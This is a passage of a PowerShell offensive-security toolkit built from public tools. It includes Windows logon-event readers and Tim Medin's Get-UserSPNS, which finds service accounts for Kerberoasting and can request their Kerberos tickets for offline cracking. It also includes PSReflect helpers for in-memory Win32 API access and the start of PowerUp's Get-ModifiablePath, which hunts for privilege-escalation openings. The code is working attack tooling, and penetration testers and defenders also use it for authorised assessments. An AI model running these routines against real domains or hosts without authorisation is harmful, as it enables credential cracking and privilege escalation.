                ProcessName       = $Properties[11].Value
                IpAddress         = $Properties[12].Value
                #IpPort            = $Properties[13].Value
            }
        }
    }
    
    function Get-LogonEvents {
    <#
        .SYNOPSIS
    
        Gets 4624 Logon Events from Windows Event Log
    
        Author: Lee Christensen (@tifkin_)
    #>
        [CmdletBinding()]
        Param(
            [int]
            $MaxEvents = 10
        )
    
        Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624} -MaxEvents $MaxEvents | %{
            $Properties = $_.Properties
            New-Object PSObject -Property @{
                TimeCreated               = $_.TimeCreated
                #SubjectUserSid            = $Properties[0].Value.ToString()
                #SubjectUserName           = $Properties[1].Value
                #SubjectDomainName         = $Properties[2].Value
                #SubjectLogonId            = $Properties[3].Value
                #Subject = "$($Properties[2].Value)\$($Properties[1].Value)"
                #TargetUserSid             = $Properties[4].Value.ToString()
                #TargetUserName            = $Properties[5].Value
                #TargetDomainName          = $Properties[6].Value
                #TargetLogonId             = $Properties[7].Value
                Target = "$($Properties[6].Value)\$($Properties[5].Value)"
                LogonType                 = $Properties[8].Value
                #LogonProcessName          = $Properties[9].Value
                AuthenticationPackageName = $Properties[10].Value
                #WorkstationName           = $Properties[11].Value
                #LogonGuid                 = $Properties[12].Value
                #TransmittedServices       = $Properties[13].Value
                #LmPackageName             = $Properties[14].Value
                #KeyLength                 = $Properties[15].Value
                #ProcessId                 = $Properties[16].Value
                #ProcessName               = $Properties[17].Value
                IpAddress                 = $Properties[18].Value
                #ImpersonationLevel        = $Properties[20].Value
                #RestrictedAdminMode       = $Properties[21].Value
                #TargetOutboundUserName    = $Properties[22].Value
                #TargetOutboundDomainName  = $Properties[23].Value
                #VirtualAccount            = $Properties[24].Value
                #TargetLinkedLogonId       = $Properties[25].Value
                #ElevatedToken             = $Properties[26].Value
            }
        }
    }
    
    
    function Get-UserSPNS {
    <#
      .SYNOPSIS
    
      # Edits by Tim Medin
      # File:     GetUserSPNS.ps1
      # Contents: Query the domain to find SPNs that use User accounts
      # Comments: This is for use with Kerberoast https://github.com/nidem/kerberoast
      #           The password hash used with Computer accounts are infeasible to 
      #           crack; however, if the User account associated with an SPN may have
      #           a crackable password. This tool will find those accounts. You do not
      #           need any special local or domain permissions to run this script. 
      #           This script on a script supplied by Microsoft (details below).
      # History:  2016/07/07     Tim Medin    Add -UniqueAccounts parameter to only get unique SAMAccountNames
    #>
      [CmdletBinding()]
      Param(
        [Parameter(Mandatory=$False,Position=1)] [string]$GCName,
        [Parameter(Mandatory=$False)] [string]$Filter,
        [Parameter(Mandatory=$False)] [switch]$Request,
        [Parameter(Mandatory=$False)] [switch]$UniqueAccounts
      )
      Write-Verbose "Enumerating user SPNs for potential Kerberoast cracking..."
      Add-Type -AssemblyName System.IdentityModel
    
      $GCs = @()
    
      If ($GCName) {
        $GCs += $GCName
      } else { # find them
        $ForestInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
        $CurrentGCs = $ForestInfo.FindAllGlobalCatalogs()
        ForEach ($GC in $CurrentGCs) {
          #$GCs += $GC.Name
          $GCs += $ForestInfo.ApplicationPartitions[0].SecurityReferenceDomain
        }
      }
    
      if (-not $GCs) {
        # no Global Catalogs Found
        Write-Output "`n[-] No Global Catalogs Found!"
        Return
      }
    
      ForEach ($GC in $GCs) {
          $searcher = New-Object System.DirectoryServices.DirectorySearcher
          $searcher.SearchRoot = "LDAP://" + $GC
          $searcher.PageSize = 1000
          $searcher.Filter = "(&(!objectClass=computer)(servicePrincipalName=*))"
          $Null = $searcher.PropertiesToLoad.Add("serviceprincipalname")
          $Null = $searcher.PropertiesToLoad.Add("name")
          $Null = $searcher.PropertiesToLoad.Add("samaccountname")
          #$Null = $searcher.PropertiesToLoad.Add("userprincipalname")
          #$Null = $searcher.PropertiesToLoad.Add("displayname")
          $Null = $searcher.PropertiesToLoad.Add("memberof")
          $Null = $searcher.PropertiesToLoad.Add("pwdlastset")
          #$Null = $searcher.PropertiesToLoad.Add("distinguishedname")
    
          $searcher.SearchScope = "Subtree"
    
          $results = $searcher.FindAll()
          
          [System.Collections.ArrayList]$accounts = @()
              
          foreach ($result in $results) {
              foreach ($spn in $result.Properties["serviceprincipalname"]) {
                  $o = Select-Object -InputObject $result -Property `
                      @{Name="ServicePrincipalName"; Expression={$spn.ToString()} }, `
                      @{Name="Name";                 Expression={$result.Properties["name"][0].ToString()} }, `
                      #@{Name="UserPrincipalName";   Expression={$result.Properties["userprincipalname"][0].ToString()} }, `
                      @{Name="SAMAccountName";       Expression={$result.Properties["samaccountname"][0].ToString()} }, `
                      #@{Name="DisplayName";         Expression={$result.Properties["displayname"][0].ToString()} }, `
                      @{Name="MemberOf";             Expression={$result.Properties["memberof"][0].ToString()} }, `
                      @{Name="PasswordLastSet";      Expression={[datetime]::fromFileTime($result.Properties["pwdlastset"][0])} } #, `
                      #@{Name="DistinguishedName";   Expression={$result.Properties["distinguishedname"][0].ToString()} }
                  if ($UniqueAccounts) {
                      if (-not $accounts.Contains($result.Properties["samaccountname"][0].ToString())) {
                          $Null = $accounts.Add($result.Properties["samaccountname"][0].ToString())
                          $o
                          if ($Request) {
                              $Null = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString()
                          }
                      }
                  } else {
                      $o
                      if ($Request) {
                          $Null = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString()
                      }
                  }
              }
          }
      }
    }
    
    ###########
    # PowerUp
    ###########
    
    <#
        Modified version of PowerUp (authored by @harmj0y) without the modification functions
        
        PowerUp aims to be a clearinghouse of common Windows privilege escalation
        vectors that rely on misconfigurations. See README.md for more information.
    
        Author: @harmj0y
        License: BSD 3-Clause
        Required Dependencies: None
        Optional Dependencies: None
        
        Link: https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
    #>
    
    #Requires -Version 2
    
    
    ########################################################
    #
    # PSReflect code for Windows API access
    # Author: @mattifestation
    #   https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1
    #
    ########################################################
    
    function New-InMemoryModule
    {
    <#
    .SYNOPSIS
    
    Creates an in-memory assembly and module
    
    Author: Matthew Graeber (@mattifestation)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None
    
    .DESCRIPTION
    
    When defining custom enums, structs, and unmanaged functions, it is
    necessary to associate to an assembly module. This helper function
    creates an in-memory module that can be passed to the 'enum',
    'struct', and Add-Win32Type functions.
    
    .PARAMETER ModuleName
    
    Specifies the desired name for the in-memory assembly and module. If
    ModuleName is not provided, it will default to a GUID.
    
    .EXAMPLE
    
    $Module = New-InMemoryModule -ModuleName Win32
    #>
    
        Param
        (
            [Parameter(Position = 0)]
            [ValidateNotNullOrEmpty()]
            [String]
            $ModuleName = [Guid]::NewGuid().ToString()
        )
    
        $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @())
        $LoadedAssemblies = $AppDomain.GetAssemblies()
    
        foreach ($Assembly in $LoadedAssemblies) {
            if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
                return $Assembly
            }
        }
    
        $DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
        $Domain = $AppDomain
        $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
        $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)
    
        return $ModuleBuilder
    }
    
    
    # A helper function used to reduce typing while defining function
    # prototypes for Add-Win32Type.
    function func
    {
        Param
        (
            [Parameter(Position = 0, Mandatory=$True)]
            [String]
            $DllName,
    
            [Parameter(Position = 1, Mandatory=$True)]
            [string]
            $FunctionName,
    
            [Parameter(Position = 2, Mandatory=$True)]
            [Type]
            $ReturnType,
    
            [Parameter(Position = 3)]
            [Type[]]
            $ParameterTypes,
    
            [Parameter(Position = 4)]
            [Runtime.InteropServices.CallingConvention]
            $NativeCallingConvention,
    
            [Parameter(Position = 5)]
            [Runtime.InteropServices.CharSet]
            $Charset,
    
            [String]
            $EntryPoint,
    
            [Switch]
            $SetLastError
        )
    
        $Properties = @{
            DllName = $DllName
            FunctionName = $FunctionName
            ReturnType = $ReturnType
        }
    
        if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
        if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
        if ($Charset) { $Properties['Charset'] = $Charset }
        if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
        if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint }
    
        New-Object PSObject -Property $Properties
    }
    
    
    function Add-Win32Type
    {
    <#
    .SYNOPSIS
    
    Creates a .NET type for an unmanaged Win32 function.
    
    Author: Matthew Graeber (@mattifestation)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: func
    
    .DESCRIPTION
    
    Add-Win32Type enables you to easily interact with unmanaged (i.e.
    Win32 unmanaged) functions in PowerShell. After providing
    Add-Win32Type with a function signature, a .NET type is created
    using reflection (i.e. csc.exe is never called like with Add-Type).
    
    The 'func' helper function can be used to reduce typing when defining
    multiple function definitions.
    
    .PARAMETER DllName
    
    The name of the DLL.
    
    .PARAMETER FunctionName
    
    The name of the target function.
    
    .PARAMETER EntryPoint
    
    The DLL export function name. This argument should be specified if the
    specified function name is different than the name of the exported
    function.
    
    .PARAMETER ReturnType
    
    The return type of the function.
    
    .PARAMETER ParameterTypes
    
    The function parameters.
    
    .PARAMETER NativeCallingConvention
    
    Specifies the native calling convention of the function. Defaults to
    stdcall.
    
    .PARAMETER Charset
    
    If you need to explicitly call an 'A' or 'W' Win32 function, you can
    specify the character set.
    
    .PARAMETER SetLastError
    
    Indicates whether the callee calls the SetLastError Win32 API
    function before returning from the attributed method.
    
    .PARAMETER Module
    
    The in-memory module that will host the functions. Use
    New-InMemoryModule to define an in-memory module.
    
    .PARAMETER Namespace
    
    An optional namespace to prepend to the type. Add-Win32Type defaults
    to a namespace consisting only of the name of the DLL.
    
    .EXAMPLE
    
    $Mod = New-InMemoryModule -ModuleName Win32
    
    $FunctionDefinitions = @(
      (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError),
      (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError),
      (func ntdll RtlGetCurrentPeb ([IntPtr]) @())
    )
    
    $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
    $Kernel32 = $Types['kernel32']
    $Ntdll = $Types['ntdll']
    $Ntdll::RtlGetCurrentPeb()
    $ntdllbase = $Kernel32::GetModuleHandle('ntdll')
    $Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb')
    
    .NOTES
    
    Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189
    
    When defining multiple function prototypes, it is ideal to provide
    Add-Win32Type with an array of function signatures. That way, they
    are all incorporated into the same in-memory module.
    #>
    
        [OutputType([Hashtable])]
        Param(
            [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
            [String]
            $DllName,
    
            [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
            [String]
            $FunctionName,
    
            [Parameter(ValueFromPipelineByPropertyName=$True)]
            [String]
            $EntryPoint,
    
            [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
            [Type]
            $ReturnType,
    
            [Parameter(ValueFromPipelineByPropertyName=$True)]
            [Type[]]
            $ParameterTypes,
    
            [Parameter(ValueFromPipelineByPropertyName=$True)]
            [Runtime.InteropServices.CallingConvention]
            $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,
    
            [Parameter(ValueFromPipelineByPropertyName=$True)]
            [Runtime.InteropServices.CharSet]
            $Charset = [Runtime.InteropServices.CharSet]::Auto,
    
            [Parameter(ValueFromPipelineByPropertyName=$True)]
            [Switch]
            $SetLastError,
    
            [Parameter(Mandatory=$True)]
            [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
            $Module,
    
            [ValidateNotNull()]
            [String]
            $Namespace = ''
        )
    
        BEGIN
        {
            $TypeHash = @{}
        }
    
        PROCESS
        {
            if ($Module -is [Reflection.Assembly])
            {
                if ($Namespace)
                {
                    $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
                }
                else
                {
                    $TypeHash[$DllName] = $Module.GetType($DllName)
                }
            }
            else
            {
                # Define one type for each DLL
                if (!$TypeHash.ContainsKey($DllName))
                {
                    if ($Namespace)
                    {
                        $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
                    }
                    else
                    {
                        $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
                    }
                }
    
                $Method = $TypeHash[$DllName].DefineMethod(
                    $FunctionName,
                    'Public,Static,PinvokeImpl',
                    $ReturnType,
                    $ParameterTypes)
    
                # Make each ByRef parameter an Out parameter
                $i = 1
                foreach($Parameter in $ParameterTypes)
                {
                    if ($Parameter.IsByRef)
                    {
                        [void] $Method.DefineParameter($i, 'Out', $null)
                    }
    
                    $i++
                }
    
                $DllImport = [Runtime.InteropServices.DllImportAttribute]
                $SetLastErrorField = $DllImport.GetField('SetLastError')
                $CallingConventionField = $DllImport.GetField('CallingConvention')
                $CharsetField = $DllImport.GetField('CharSet')
                $EntryPointField = $DllImport.GetField('EntryPoint')
                if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }
    
                if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName }
    
                # Equivalent to C# version of [DllImport(DllName)]
                $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
                $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
                    $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
                    [Reflection.FieldInfo[]] @($SetLastErrorField,
                                               $CallingConventionField,
                                               $CharsetField,
                                               $EntryPointField),
                    [Object[]] @($SLEValue,
                                 ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention),
                                 ([Runtime.InteropServices.CharSet] $Charset),
                                 $ExportedFuncName))
    
                $Method.SetCustomAttribute($DllImportAttribute)
            }
        }
    
        END
        {
            if ($Module -is [Reflection.Assembly])
            {
                return $TypeHash
            }
    
            $ReturnTypes = @{}
    
            foreach ($Key in $TypeHash.Keys)
            {
                $Type = $TypeHash[$Key].CreateType()
    
                $ReturnTypes[$Key] = $Type
            }
    
            return $ReturnTypes
        }
    }
    
    
    function psenum
    {
    <#
    .SYNOPSIS
    
    Creates an in-memory enumeration for use in your PowerShell session.
    
    Author: Matthew Graeber (@mattifestation)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None
    
    .DESCRIPTION
    
    The 'psenum' function facilitates the creation of enums entirely in
    memory using as close to a "C style" as PowerShell will allow.
    
    .PARAMETER Module
    
    The in-memory module that will host the enum. Use
    New-InMemoryModule to define an in-memory module.
    
    .PARAMETER FullName
    
    The fully-qualified name of the enum.
    
    .PARAMETER Type
    
    The type of each enum element.
    
    .PARAMETER EnumElements
    
    A hashtable of enum elements.
    
    .PARAMETER Bitfield
    
    Specifies that the enum should be treated as a bitfield.
    
    .EXAMPLE
    
    $Mod = New-InMemoryModule -ModuleName Win32
    
    $ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{
        UNKNOWN =                  0
        NATIVE =                   1 # Image doesn't require a subsystem.
        WINDOWS_GUI =              2 # Image runs in the Windows GUI subsystem.
        WINDOWS_CUI =              3 # Image runs in the Windows character subsystem.
        OS2_CUI =                  5 # Image runs in the OS/2 character subsystem.
        POSIX_CUI =                7 # Image runs in the Posix character subsystem.
        NATIVE_WINDOWS =           8 # Image is a native Win9x driver.
        WINDOWS_CE_GUI =           9 # Image runs in the Windows CE subsystem.
        EFI_APPLICATION =          10
        EFI_BOOT_SERVICE_DRIVER =  11
        EFI_RUNTIME_DRIVER =       12
        EFI_ROM =                  13
        XBOX =                     14
        WINDOWS_BOOT_APPLICATION = 16
    }
    
    .NOTES
    
    PowerShell purists may disagree with the naming of this function but
    again, this was developed in such a way so as to emulate a "C style"
    definition as closely as possible. Sorry, I'm not going to name it
    New-Enum. :P
    #>
    
        [OutputType([Type])]
        Param
        (
            [Parameter(Position = 0, Mandatory=$True)]
            [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
            $Module,
    
            [Parameter(Position = 1, Mandatory=$True)]
            [ValidateNotNullOrEmpty()]
            [String]
            $FullName,
    
            [Parameter(Position = 2, Mandatory=$True)]
            [Type]
            $Type,
    
            [Parameter(Position = 3, Mandatory=$True)]
            [ValidateNotNullOrEmpty()]
            [Hashtable]
            $EnumElements,
    
            [Switch]
            $Bitfield
        )
    
        if ($Module -is [Reflection.Assembly])
        {
            return ($Module.GetType($FullName))
        }
    
        $EnumType = $Type -as [Type]
    
        $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)
    
        if ($Bitfield)
        {
            $FlagsConstructor = [FlagsAttribute].GetConstructor(@())
            $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
            $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
        }
    
        foreach ($Key in $EnumElements.Keys)
        {
            # Apply the specified enum type to each element
            $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)
        }
    
        $EnumBuilder.CreateType()
    }
    
    
    # A helper function used to reduce typing while defining struct
    # fields.
    function field
    {
        Param
        (
            [Parameter(Position = 0, Mandatory=$True)]
            [UInt16]
            $Position,
    
            [Parameter(Position = 1, Mandatory=$True)]
            [Type]
            $Type,
    
            [Parameter(Position = 2)]
            [UInt16]
            $Offset,
    
            [Object[]]
            $MarshalAs
        )
    
        @{
            Position = $Position
            Type = $Type -as [Type]
            Offset = $Offset
            MarshalAs = $MarshalAs
        }
    }
    
    
    function struct
    {
    <#
    .SYNOPSIS
    
    Creates an in-memory struct for use in your PowerShell session.
    
    Author: Matthew Graeber (@mattifestation)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: field
    
    .DESCRIPTION
    
    The 'struct' function facilitates the creation of structs entirely in
    memory using as close to a "C style" as PowerShell will allow. Struct
    fields are specified using a hashtable where each field of the struct
    is comprosed of the order in which it should be defined, its .NET
    type, and optionally, its offset and special marshaling attributes.
    
    One of the features of 'struct' is that after your struct is defined,
    it will come with a built-in GetSize method as well as an explicit
    converter so that you can easily cast an IntPtr to the struct without
    relying upon calling SizeOf and/or PtrToStructure in the Marshal
    class.
    
    .PARAMETER Module
    
    The in-memory module that will host the struct. Use
    New-InMemoryModule to define an in-memory module.
    
    .PARAMETER FullName
    
    The fully-qualified name of the struct.
    
    .PARAMETER StructFields
    
    A hashtable of fields. Use the 'field' helper function to ease
    defining each field.
    
    .PARAMETER PackingSize
    
    Specifies the memory alignment of fields.
    
    .PARAMETER ExplicitLayout
    
    Indicates that an explicit offset for each field will be specified.
    
    .EXAMPLE
    
    $Mod = New-InMemoryModule -ModuleName Win32
    
    $ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{
        DOS_SIGNATURE =    0x5A4D
        OS2_SIGNATURE =    0x454E
        OS2_SIGNATURE_LE = 0x454C
        VXD_SIGNATURE =    0x454C
    }
    
    $ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{
        e_magic =    field 0 $ImageDosSignature
        e_cblp =     field 1 UInt16
        e_cp =       field 2 UInt16
        e_crlc =     field 3 UInt16
        e_cparhdr =  field 4 UInt16
        e_minalloc = field 5 UInt16
        e_maxalloc = field 6 UInt16
        e_ss =       field 7 UInt16
        e_sp =       field 8 UInt16
        e_csum =     field 9 UInt16
        e_ip =       field 10 UInt16
        e_cs =       field 11 UInt16
        e_lfarlc =   field 12 UInt16
        e_ovno =     field 13 UInt16
        e_res =      field 14 UInt16[] -MarshalAs @('ByValArray', 4)
        e_oemid =    field 15 UInt16
        e_oeminfo =  field 16 UInt16
        e_res2 =     field 17 UInt16[] -MarshalAs @('ByValArray', 10)
        e_lfanew =   field 18 Int32
    }
    
    # Example of using an explicit layout in order to create a union.
    $TestUnion = struct $Mod TestUnion @{
        field1 = field 0 UInt32 0
        field2 = field 1 IntPtr 0
    } -ExplicitLayout
    
    .NOTES
    
    PowerShell purists may disagree with the naming of this function but
    again, this was developed in such a way so as to emulate a "C style"
    definition as closely as possible. Sorry, I'm not going to name it
    New-Struct. :P
    #>
    
        [OutputType([Type])]
        Param
        (
            [Parameter(Position = 1, Mandatory=$True)]
            [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
            $Module,
    
            [Parameter(Position = 2, Mandatory=$True)]
            [ValidateNotNullOrEmpty()]
            [String]
            $FullName,
    
            [Parameter(Position = 3, Mandatory=$True)]
            [ValidateNotNullOrEmpty()]
            [Hashtable]
            $StructFields,
    
            [Reflection.Emit.PackingSize]
            $PackingSize = [Reflection.Emit.PackingSize]::Unspecified,
    
            [Switch]
            $ExplicitLayout
        )
    
        if ($Module -is [Reflection.Assembly])
        {
            return ($Module.GetType($FullName))
        }
    
        [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,
            Class,
            Public,
            Sealed,
            BeforeFieldInit'
    
        if ($ExplicitLayout)
        {
            $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout
        }
        else
        {
            $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout
        }
    
        $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)
        $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
        $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
    
        $Fields = New-Object Hashtable[]($StructFields.Count)
    
        # Sort each field according to the orders specified
        # Unfortunately, PSv2 doesn't have the luxury of the
        # hashtable [Ordered] accelerator.
        foreach ($Field in $StructFields.Keys)
        {
            $Index = $StructFields[$Field]['Position']
            $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
        }
    
        foreach ($Field in $Fields)
        {
            $FieldName = $Field['FieldName']
            $FieldProp = $Field['Properties']
    
            $Offset = $FieldProp['Offset']
            $Type = $FieldProp['Type']
            $MarshalAs = $FieldProp['MarshalAs']
    
            $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')
    
            if ($MarshalAs)
            {
                $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])
                if ($MarshalAs[1])
                {
                    $Size = $MarshalAs[1]
                    $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,
                        $UnmanagedType, $SizeConst, @($Size))
                }
                else
                {
                    $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))
                }
    
                $NewField.SetCustomAttribute($AttribBuilder)
            }
    
            if ($ExplicitLayout) { $NewField.SetOffset($Offset) }
        }
    
        # Make the struct aware of its own size.
        # No more having to call [Runtime.InteropServices.Marshal]::SizeOf!
        $SizeMethod = $StructBuilder.DefineMethod('GetSize',
            'Public, Static',
            [Int],
            [Type[]] @())
        $ILGenerator = $SizeMethod.GetILGenerator()
        # Thanks for the help, Jason Shirk!
        $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
        $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
            [Type].GetMethod('GetTypeFromHandle'))
        $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
            [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))
        $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)
    
        # Allow for explicit casting from an IntPtr
        # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!
        $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',
            'PrivateScope, Public, Static, HideBySig, SpecialName',
            $StructBuilder,
            [Type[]] @([IntPtr]))
        $ILGenerator2 = $ImplicitConverter.GetILGenerator()
        $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)
        $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
        $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
        $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
            [Type].GetMethod('GetTypeFromHandle'))
        $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
            [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))
        $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)
        $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)
    
        $StructBuilder.CreateType()
    }
    
    
    ########################################################
    #
    # PowerUp Helpers
    #
    ########################################################
    
    function Get-ModifiablePath {
    <#
        .SYNOPSIS
    
            Parses a passed string containing multiple possible file/folder paths and returns
            the file paths where the current user has modification rights.
    
            Author: @harmj0y
            License: BSD 3-Clause
    
        .DESCRIPTION
    
            Takes a complex path specification of an initial file/folder path with possible
            configuration files, 'tokenizes' the string in a number of possible ways, and
            enumerates the ACLs for each path that currently exists on the system. Any path that
            the current user has modification rights on is returned in a custom object that contains
            the modifiable path, associated permission set, and the IdentityReference with the specified
            rights. The SID of the current user and any group he/she are a part of are used as the
            comparison set against the parsed path DACLs.
    
        .PARAMETER Path
    
            The string path to parse for modifiable files. Required
    
        .PARAMETER LiteralPaths
    
            Switch. Treat all paths as literal (i.e. don't do 'tokenization').
    
        .EXAMPLE
    
            PS C:\> '"C:\Temp\blah.exe" -f "C:\Temp\config.ini"' | Get-ModifiablePath
    
            Path                       Permissions                IdentityReference
            ----                       -----------                -----------------
            C:\Temp\blah.exe           {ReadAttributes, ReadCo... NT AUTHORITY\Authentic...
            C:\Temp\config.ini         {ReadAttributes, ReadCo... NT AUTHORITY\Authentic...
    
        .EXAMPLE
    
            PS C:\> Get-ChildItem C:\Vuln\ -Recurse | Get-ModifiablePath
    
            Path                       Permissions                IdentityReference
            ----                       -----------                -----------------
            C:\Vuln\blah.bat           {ReadAttributes, ReadCo... NT AUTHORITY\Authentic...
            C:\Vuln\config.ini         {ReadAttributes, ReadCo... NT AUTHORITY\Authentic...
            ...
    #>
    
        [CmdletBinding()]
        Param(
            [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
            [Alias('FullName')]
            [String[]]
            $Path,
    
            [Switch]
            $LiteralPaths
        )
    
        BEGIN {
            # # false positives ?
            # $Excludes = @("MsMpEng.exe", "NisSrv.exe")
    
            # from http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights
            $AccessMask = @{
                [uint32]'0x80000000' = 'GenericRead'
                [uint32]'0x40000000' = 'GenericWrite'
                [uint32]'0x20000000' = 'GenericExecute'
                [uint32]'0x10000000' = 'GenericAll'
                [uint32]'0x02000000' = 'MaximumAllowed'
                [uint32]'0x01000000' = 'AccessSystemSecurity'
                [uint32]'0x00100000' = 'Synchronize'
                [uint32]'0x00080000' = 'WriteOwner'
                [uint32]'0x00040000' = 'WriteDAC'
                [uint32]'0x00020000' = 'ReadControl'
                [uint32]'0x00010000' = 'Delete'
                [uint32]'0x00000100' = 'WriteAttributes'
                [uint32]'0x00000080' = 'ReadAttributes'
                [uint32]'0x00000040' = 'DeleteChild'
                [uint32]'0x00000020' = 'Execute/Traverse'
                [uint32]'0x00000010' = 'WriteExtendedAttributes'
                [uint32]'0x00000008' = 'ReadExtendedAttributes'
                [uint32]'0x00000004' = 'AppendData/AddSubdirectory'
                [uint32]'0x00000002' = 'WriteData/AddFile'
                [uint32]'0x00000001' = 'ReadData/ListDirectory'
            }
    
            $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
            $CurrentUserSids = $UserIdentity.Groups | Select-Object -ExpandProperty Value
            $CurrentUserSids += $UserIdentity.User.Value
    
            $TranslatedIdentityReferences = @{}
        }
    
        PROCESS {
    
            ForEach($TargetPath in $Path) {
    
                $CandidatePaths = @()
    
                # possible separator character combinations
                $SeparationCharacterSets = @('"', "'", ' ', "`"'", '" ', "' ", "`"' ")
    
                if($PSBoundParameters['LiteralPaths']) {
    
                    $TempPath = $([System.Environment]::ExpandEnvironmentVariables($TargetPath))
    
                    if(Test-Path -Path $TempPath -ErrorAction SilentlyContinue) {
                        $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path
                    }
                    else {
                        # if the path doesn't exist, check if the parent folder allows for modification
                        try {
                            $ParentPath = Split-Path $TempPath -Parent
                            if($ParentPath -and (Test-Path -Path $ParentPath)) {
                                $CandidatePaths += Resolve-Path -Path $ParentPath -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path
                            }
                        }
                        catch {
                            # because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely
                        }
                    }
                }
                else {
                    ForEach($SeparationCharacterSet in $SeparationCharacterSets) {
                        $TargetPath.Split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')} | ForEach-Object {
    
                            if(($SeparationCharacterSet -notmatch ' ')) {
    
                                $TempPath = $([System.Environment]::ExpandEnvironmentVariables($_)).Trim()
    
                                if($TempPath -and ($TempPath -ne '')) {
                                    if(Test-Path -Path $TempPath -ErrorAction SilentlyContinue) {
                                        # if the path exists, resolve it and add it to the candidate list
